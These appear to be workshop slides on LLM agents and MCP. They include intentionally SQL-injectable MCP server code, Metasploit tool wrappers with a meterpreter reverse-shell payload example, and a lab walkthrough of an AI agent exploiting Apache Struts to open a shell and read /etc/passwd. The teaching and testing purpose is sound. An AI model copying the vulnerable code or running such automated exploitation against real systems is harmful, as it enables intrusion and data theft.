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About us

 Wu-chang
 Professor, Dept. of Computer Science, Portland State University

 Zac
 Senior, Grant High School

 Access to slides and labs
 Search for "CS 475 Portland State University"

 https://codelabs.cs.pdx.edu
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Agenda

 Introduction to Agents and Agentic AI (30 minutes)

 Model-Context-Protocol (10 minutes)

 Exercise: SQLite MCP servers (20 minutes)

 PentestMCP (15 minutes)

 Exercise: Automatic Exploitation of Apache Struts (40 minutes)
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Agents

 Initial uses of LLMs
 Simple chains of executions through a model

 But, what if a simple chain is insufficient for your application?
 Applications requiring iteration and reasoning based on results
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"Levels" of agency

 None
 LLM output has no impact on program flow (e.g. how most of us currently 

use ChatGPT)
 Router (Shuster 2022)

 LLM output determines basic control flow
if llm_decision(): path_a() else: path_b()

 Tool calling (Nakano 2022)
 LLM output determines function selection and execution 
tool, args = llm_function_selection_args_generation(goal)
run_function(tool, args)

 Multi-step agent (Yao 2023)
 LLM output controls iteration and program continuation
while llm_continuation_decision():

generate_and_execute_next_step()

 Multi-agent (Guo 2024)
 LLM output invoking multiple other agents to complete task
if llm_decision():

execute_agent()

 Code agent (Wang 2024)
 LLM writes and executes code, including new tools if needed
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No agency

 LLM as a function

response = llm.invoke("Write me a haiku about Bulbasaur")

print(response.content)
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story_prompt = ChatPromptTemplate.from_messages([

    ("system", """You are a helpful assistant that tells 100 word stories

    about a person who works in the occupation that is provided."""),

    ("human", "{occupation}")])

gender_prompt = ChatPromptTemplate.from_messages([

    ("system", """You are a helpful assistant that determines the gender

    of the character in a story provided. Your output should be 'male',

    'female', or 'unknown'"""),

    ("human", "{story}")])

occupation_chain = (

   story_prompt

   | llm

   | (lambda output: {'story': output.content})

   | gender_prompt

   | llm

 )

def test_occupation(occupation_chain, occupation):

 male = 0
 female = 0
 unknown = 0

 for i in range(0,10):
  gender = occupation_chain.invoke({'occupation': occupation}).content

  if 'unknown' in gender:
   unknown += 1
  elif 'female' in gender:
   female += 1
  else:
   male += 1
 print(f"Male: {male}  Female: {female}  Unknown: {unknown}")
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Router

 Use LLM to help forward request to appropriate model, prompt 

template, or code execution path
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Tool-calling

 LLM given a set of calls (e.g. tools) that implement specific functions
 Tools interact with the world to deliver information to application

 LLM may decide to invoke tools in order to answering a user's question 

 Many tools available within LangChain ($125 million unicorn)
 Terminal, File System, Google Drive, SQL database

 Google Search, PubMed, Wikipedia, arxiv, OpenWeatherMap

 Google Lens, Text to speech,Twilio

https://python.langchain.com/docs/integrations/tools/
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Example: Router and tool-calling agent

 Two code execution tools: Riza's Python and Javascript sandboxes

 Agent determines which interpreter to call based on code given

tools = [command.ExecPython(), command.ExecJavaScript()]
agent = create_tool_calling_agent(llm, tools, prompt)
agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)

agent_executor.invoke({"input": "print('hello')"})

> Entering new AgentExecutor chain...

Invoking: `riza_exec_python` with `{'code': "print('hello')"}`

hello

The Python code has been executed and produced the output "hello".

agent_executor.invoke({"input": "console.log('hello')"})

> Entering new AgentExecutor chain...

Invoking: `riza_exec_javascript` with `{'code': "console.log('hello');"}`

hello

The provided JavaScript code simply prints out "hello" to the console. 
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Multi-step agents

 Combine tools, language models, and reasoning in a loop to 

perform complex operations
 LLM generates multi-step reasoning plan based on question

 Plan includes use of tools and ability to return answer once found

 Propose next action (e.g. finish or invoke another tool)

 Execute action
 Agent invokes tool to do things like query a database or call an API.

 Observe results
 Update state in plan in response of the tool call

 Go back to propose next action
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ReAct: Re(ason)/Act(ion) agent 

 Chain-of-thought reasoning with actions and observations
 Performs reasoning, action, and observation steps in a loop until final 

answer calculated
react diagram

https://arxiv.org/abs/2210.03629
https://python.langchain.com/docs/modules/agents/agent_types/react
https://arize.com/blog-course/react-agent-llm/
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ReAct prompt template example
Answer the following questions as best you can. You have access to 

the following tools:

Wikipedia: A wrapper around Wikipedia.  Useful when you need to 

answer general questions about people, places, companies, facts, 

historical events or other subjects. Input should be a search 

query.

Calculator: Useful for when you need to answer questions about 

math.

The way you use the tools is by specifying a json blob.

Specifically, this json should have an `action` key (with the name 

of the tool to use) and a `action_input` key (with the input to the 

tool going here).

The only values that should be in the "action" field are: 

Wikipedia, Calculator

The $JSON_BLOB should only contain a SINGLE action. Here is an 

example of a valid $JSON_BLOB:

{

  "action": $TOOL_NAME,

  "action_input": $INPUT

}
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ALWAYS use the following format:

Question: the input question you must answer

Thought: you should always think about what to do

Action:

$JSON_BLOB

Observation: the result of the action

... (this Thought/Action/Observation can repeat N times)

Thought: I now know the final answer

Final Answer: the final answer to the original input question

Begin! 
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 Retrieve current data via serpapi, Perform math via llm-math
from langchain.agents import AgentExecutor
tools = load_tools(["serpapi", "llm-math"], llm=llm)
agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)
agent_executor.invoke({
  "input": "Who is Leo DiCaprio's girlfriend? What is her current age raised 

to the 0.43 power?"
})

> Entering new AgentExecutor chain...
     I need to find out who Leo DiCaprio's girlfriend is and then calculate 
her age raised to the 0.43 power.
    Action: Search
    Action Input: "Leo DiCaprio girlfriend"
    Observation: model Vittoria Ceretti
    Thought: I need to find out Vittoria Ceretti's age
    Action: Search
    Action Input: "Vittoria Ceretti age"
    Observation: 25 years
    Thought: I need to calculate 25 raised to the 0.43 power
    Action: Calculator
    Action Input: 25^0.43
    Observation: Answer: 3.991298452658078
    Thought: I now know the final answer
    Final Answer: Leo DiCaprio's girlfriend is Vittoria Ceretti and her 
current age raised to the 0.43 power is 3.991298452658078.
    > Finished chain.
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 Automatically translate user query to SQL execution plan
 3 tools supplied to agent

sql_db_list_tables

(List tables in DB)

sql_db_schema

(Show table schema)

sql_db_query

(Run SQL query)

SQL agent
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sql_db_list_tables

(List tables in DB)

sql_db_schema

(Show table schema)

sql_db_query

(Run SQL query)



BSidesPDX 2025: PentestMCP: A Toolkit for Agentic Penetration Testing

sql_db_list_tables

(List tables in DB)

sql_db_schema

(Show table schema)

sql_db_query

(Run SQL query)
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Code agents

 Allow agent to produce code that is executed
 "Executable Code Actions Elicit Better LLM Agents"

 Tool-calling approach

Task:  Determine the most cost-effective country to purchase 

       a smartphone: USA, Japan, Germany, or India

Tools: get_phone_price, get_rate,  convert_and_tax
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 Code agent
 e.g. Has one tool (PythonREPL)

 One tool call produces all code to calculate answer
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"Levels" of agency

 None
 LLM output has no impact on program flow (e.g. how most of us currently 

use ChatGPT)
 Router (Shuster 2022)

 LLM output determines basic control flow
if llm_decision(): path_a() else: path_b()

 Tool calling (Nakano 2022)
 LLM output determines function selection and execution 
tool, args = llm_function_selection_args_generation(goal)
run_function(tool, args)

 Multi-step agent (Yao 2023)
 LLM output controls iteration and program continuation
while llm_continuation_decision():
  generate_and_execute_next_step()

 Multi-agent (Guo 2024)
 LLM output invoking multiple other agents to complete task
if llm_decision():
 execute_agent()

 Code agent (Wang 2024)
 LLM writes and executes code, including new tools if needed
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LangChain support
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Model Context Protocol (MCP)
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Motivation

 LangChain agents
 Allow LLMs to execute built-in tools or 

custom tools implemented by the 

application developer to handle user 

query

 Implemented within application
 But, many different implementations

 Fragmented tool development

 Individual applications must change as 

services change
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Model Context Protocol (MCP)

 Standard open-source approach for 
connecting models to tools
 Done via JSON-RPC messaging

 Enables LLM application to invoke tools 
provided remotely

 Analogy
 Browser discovering and accessing remote 

services via HTTP and APIs (REST, 
OpenAPI, gRPC)

 LLM agent discovering and invoking 
remote services and tools via MCP

 Effectively an interoperability layer for 
connecting LLM agents to tool 
functionality (both local and remote)
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MCP vs REST APIs

 REST APIs (OpenAPI)
 Standardized way for clients to discover and interact with backend web 

services

 MCP
 Standardized way for agents to discover and interact with external data 

and services

 Allows a transition from...

 to

LLM agent REST API

LLM agent
MCP 

server
REST API
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MCP details

 MCP Host/Client
 AI application requiring context (e.g. chatbot or agent)

 MCP Server
 Server that exposes tools, data, or services that host/client can utilize

 Support local operation via stdin/stdout or remote operation via 
HTTP or WebSockets
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MCP flow



BSidesPDX 2025: PentestMCP: A Toolkit for Agentic Penetration Testing

Many MCP reference servers

 https://github.com/modelcontextprotocol/servers 
 Fetch (web content)

 Filesystem

 Git, GitHub

 Search (Brave, Google)

 Google Maps

 Google Drive

 Slack

 Sqlite/PostgreSQL/Chroma

 Google Cloud Run, Google Calendar

https://github.com/modelcontextprotocol/servers
https://github.com/modelcontextprotocol/servers
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SQLite MCP exercises
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Exercise #1: Vulnerable SQLite MCP server

 FastMCP server to allow an agent to query a database

from fastmcp import FastMCP
import sqlite3

mcp = FastMCP("sqlite")
con = sqlite3.connect('db_data/metactf_users.db')

@mcp.tool()
async def query(query: str) -> list:
  """Query a Sqlite3 database. Takes a query 
       string as an input parameter and returns the result of 
       the query."""
  cur = con.cursor()
  res = cur.execute(query)
  con.commit()
  return res.fetchall()
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 MCP client agent via FastAgent

 Configured in fastagent.config.yaml to launch MCP 

server locally

from fast_agent.core.fastagent import FastAgent

fast = FastAgent("SQLite Agent")

@fast.agent(
  instruction=f"You are a Sqlite3 database look up tool. 
Perform queries on the database given the user's input. Utilize 
the user input verbatim when sending the query to the database 
and print the query that was sent to the database",
  model="gpt-4.1",
  servers=["vulnerable_sqlite_stdio"]
)

mcp:
 servers:
 vulnerable_sqlite_stdio:
  command: "python"
  args: ["vulnerable_sqlite_mcp_server.py","stdio"]
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Exercise #2: Secure SQLite MCP server

 What's wrong with this server?
 Insecure tool design will keep us all employable

from fastmcp import FastMCP
import sqlite3

mcp = FastMCP("sqlite")
con = sqlite3.connect('db_data/metactf_users.db')

@mcp.tool()
async def query(query: str) -> list:
  """Query a Sqlite3 database. Takes a query 
       string as an input parameter and returns the result of 
       the query."""
  cur = con.cursor()
  res = cur.execute(query)
  con.commit()
  return res.fetchall()
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 Better design
 Eliminate arbitrary queries

 Only give agent task and query-specific tools

 Anything wrong with this?

@mcp.tool()
async def fetch_users() -> list:
  """Fetch the users in the database. Takes no arguments and 
       returns a list of users."""
  cur = con.cursor()
  res = cur.execute('SELECT username from USERS')
  return res.fetchall()

@mcp.tool()
async def fetch_users_pass(username: str) -> str:
 """Useful when you want to fetch a password hash for a particular
     user. Takes a username as a string. Returns a JSON string"""
 cur = con.cursor()
 res = cur.execute(f"SELECT passhash FROM users WHERE username = 
{username};")
 return res.fetchone()[0]
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 Secure design?
 Task and query-specific tools

 Parameterized queries

@mcp.tool()
async def fetch_users() -> list:
  """Fetch the users in the database. Takes no arguments and 
       returns a list of users."""
  cur = con.cursor()
  res = cur.execute('SELECT username from USERS')
  return res.fetchall()

@mcp.tool()
async def fetch_users_pass(username: str) -> str:
 """Useful when you want to fetch a password hash for a particular
     user. Takes a username as a string. Returns a JSON string"""
 cur = con.cursor()
 res = cur.execute("SELECT passhash FROM users WHERE username = ?;", 
(username,))
 return res.fetchone()[0]
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Exercise

 https://codelabs.cs.pdx.edu/bsidespdx 
 SQLite MCP codelab

 Lab can be done on your own Linux VM, but needs API keys for model 

you use

 Lab can be done on Kali Linux VMs provided on the bsidespdx25 

GCP project (keys provided)
 Your e-mail address has been added to the Google group 

bsidespdx25@googlegroups.com (https://groups.google.com/g/bsidespdx25) 

 Group has Compute OS Login permissions

https://codelabs.cs.pdx.edu/bsidespdx
https://codelabs.cs.pdx.edu/bsidespdx
https://groups.google.com/g/bsidespdx25
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Code: https://github.com/Craftzman7/pentest-mcp

Paper: https://arxiv.org/abs/2510.03610 

PentestMCP

https://arxiv.org/abs/2510.03610
https://arxiv.org/abs/2510.03610
https://arxiv.org/abs/2510.03610
https://arxiv.org/abs/2510.03610
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Question

 How well can LLMs automate the workflow and playbook of a 

penetration tester?

 What are the capabilities of this generation's "script kiddies"?

 Approach
 Build MCP servers for common tools a penetration tester may employ

 Test agents equipped with access to a range of MCP servers in 

penetration testing tasks
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PentestMCP

 Finding targets

The 
Network 
Mapper

Search Engine for the 

Internet of Everything
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Vulnerability Intelligence Platform

 Finding vulnerabilities and exploits
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 Exploitation and post-exploitation
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PentestMCP exercise

 Write a generic agent for compromising a server using common tools
 Done manually via CS 495/595 lab 

https://codelabs.cs.pdx.edu/labs/W7.5_exploit2/ 

Vulnerable Apache Struts

PentestMCP agent

https://codelabs.cs.pdx.edu/labs/W7.5_exploit2/
https://codelabs.cs.pdx.edu/labs/W7.5_exploit2/
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@mcp.tool("nmap_scan")
async def nmap_scan(target: str, options: str):
  """
  Perform an NMap scan on the specified target with parameters.
  Options are any valid NMap flag.
  Full port scans like -p- are time-consuming and resource intensive, 
    avoid usage if possible. If you need to scan all ports, please make
    the scan as efficient as possible by using options like `-sS` for a 
    SYN scan.
  Returns the scan results as a string.
  Example usage:
  nmap_scan("192.168.1.1", "-sC -sV")
  """
  try:
    # Construct the NMap command
    options = shlex.quote(options)
    target = shlex.quote(target)
    command = f"nmap {options} {target} -o /tmp/nmap_output.txt"

    os.system(command)

    # Read and return the scan results
    with open("/tmp/nmap_output.txt", "r") as f:
      return f.read()

 nmap tool
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@mcp.tool("nuclei_scan")
async def nuclei_scan(target: str):
"""
 Perform an Nuclei vulnerability scan on the specified target.
 Returns the scan results as a string.
 Example usage: nuclei_scan("http://example.com")
 The target can be a URL or an IP address.
"""
 target = shlex.quote(target) 
  command = f"nuclei -u {target} -o /tmp/nuclei_output.txt"
 os.system(command)

 with open("/tmp/nuclei_output.txt", "r") as f:
   return f.read()

 nuclei tool



BSidesPDX 2025: PentestMCP: A Toolkit for Agentic Penetration Testing

 metasploit tools for finding exploit modules

@mcp.tool("metasploit_search")
async def metasploit_search(query: str):
  """
  Search for a module in Metasploit using the provided query.
  Returns the search results as a list of module names.
  Example usage:
  metasploit_search("wordpress 4.6")
  """

@mcp.tool("metasploit_info")
async def metasploit_info(module_type: str, module_name: str):
  """
  Get information about a specific Metasploit module.
  Returns a dictionary with the module's description, options, and references.
  Example usage:
  metasploit_info("exploit", "unix/webapp/wp_admin_shell_upload")
  module_type is "exploit", "auxiliary", "post", "payload", or "encoder".
  module_name is the name of the module excluding the type.
  """
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 metasploit tools for finding and using payloads to deliver 

with modules

@mcp.tool("metasploit_module_payloads")
async def metasploit_module_payloads(module: str):
  """
  List all available payloads for a given Metasploit exploit module.
  Returns a list of payload names.
  Example usage:
  metasploit_module_payloads("unix/webapp/wp_admin_shell_upload")
  module is the name of the exploit module excluding the leading "exploit/".
  """

@mcp.tool("metasploit_payload_info")
async def metasploit_payload_info(payload: str, ctx: Context = None):
  """
  Get information about a specific Metasploit payload.
  Returns the payload's description and options.
  Example usage:
  metasploit_payload_info("php/meterpreter/reverse_tcp")
  payload is the name of the payload excluding the leading "payload/".
  """
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 metasploit tool for delivering exploit module with payload

@mcp.tool("metasploit_exploit")
async def metasploit_exploit(module: str, module_options: dict, payload: str, 
payload_options: dict):
  """
  Run a Metasploit exploit module against the specified target with the
   provided options. Both options are a dictionary of module parameters. 
    The payload is a string representing the payload to use.
  Returns the output of the exploit execution.
  Example usage:
  metasploit_exploit("unix/webapp/wp_admin_shell_upload", {"RHOST": "<target_ip>"}, 
"php/meterpreter/reverse_tcp", {"LHOST": "<local_ip>", "LPORT": 4444})
  module is the name of the exploit module excluding the leading "exploit/".
  payload is the name of the payload excluding the leading "payload/".
  module_options is a dictionary of options for the exploit module.
  Use the `metasploit_info` tool to get the available options for a module.
  payload_options is a dictionary of options for the payload.
  Use the `metasploit_payload_info` tool to get the available options for a payload.
  """
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 metasploit tools for interacting with sessions obtained
@mcp.tool("metasploit_sessions")
async def metasploit_sessions():
  """
  List all active Metasploit sessions.
  Returns a list of session IDs and their details.
  Example usage:
  metasploit_sessions()
  """
@mcp.tool("metasploit_session_interact")
async def metasploit_session_interact(session_id: str, command: str, 
timeout: float):
  """
  Interact with a specific Metasploit session. Writes a command to
    the session and returns the output.
  The session_id is the ID of the session to interact with, command 
    is the command to execute, and timeout is the time to wait for the
   command to execute (in seconds).
  Returns the output of the command executed in the session after the
    timeout has passed, regardless if the command has finished or not.
  Example usage:
  metasploit_session_interact("1", "whoami", 5)
  session_id is the ID of the session to interact with.
  command is the command to execute in the session.
  timeout is the time to wait for the command to execute (in seconds).
  """
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 Agent initialized with tools from nmap, nuclei, metasploit
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import asyncio
from mcp_agent.core.fastagent import FastAgent

fast = FastAgent("Vulnerability Agent")

@fast.agent(
  instruction=f"You are a vulnerability discovery assistant. 
Your task is to discover vulnerabilities in systems using the 
tools provided. Enumerate services on machines to find vulnerable 
services.",
  model="o3",
  servers=["nmap", "nuclei", "metasploit"],
  use_history=True,
)

async def main():
  async with fast.run() as agent:
    await agent.interactive()

 Client code
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 Query
 Find security issues with 10.138.0.19 and 

attempt to exploit them to exfiltrate the 

password file on it. Your IP address is 

10.138.0.21.  You have permission to 

perform this test.



BSidesPDX 2025: PentestMCP: A Toolkit for Agentic Penetration Testing

 nmap_scan finds open ssh and http services

 nuclei_scan identifies vulnerable Struts (CVE-2013-2251)
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 metasploit_search finds Struts exploit (OGNL)

 metasploit_info looks up details of OGNL exploit module
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 metasploit_module_payloads tool finds meterpreter 
reverse shell payload can be delivered upon using exploit module

 metasploit_exploit tool delivers exploit, but call fails due 
to module_options not being set (wasted round)
 Tool descriptions matter!
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 Fixed metasploit_exploit call to set module_options to 
obtain a reverse shell

 metasploit_session_interact tool to run shell command  
cat /etc/passwd to obtain password file
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Exercise

 https://codelabs.cs.pdx.edu/bsidespdx 
 PentestMCP codelab

https://codelabs.cs.pdx.edu/bsidespdx
https://codelabs.cs.pdx.edu/bsidespdx
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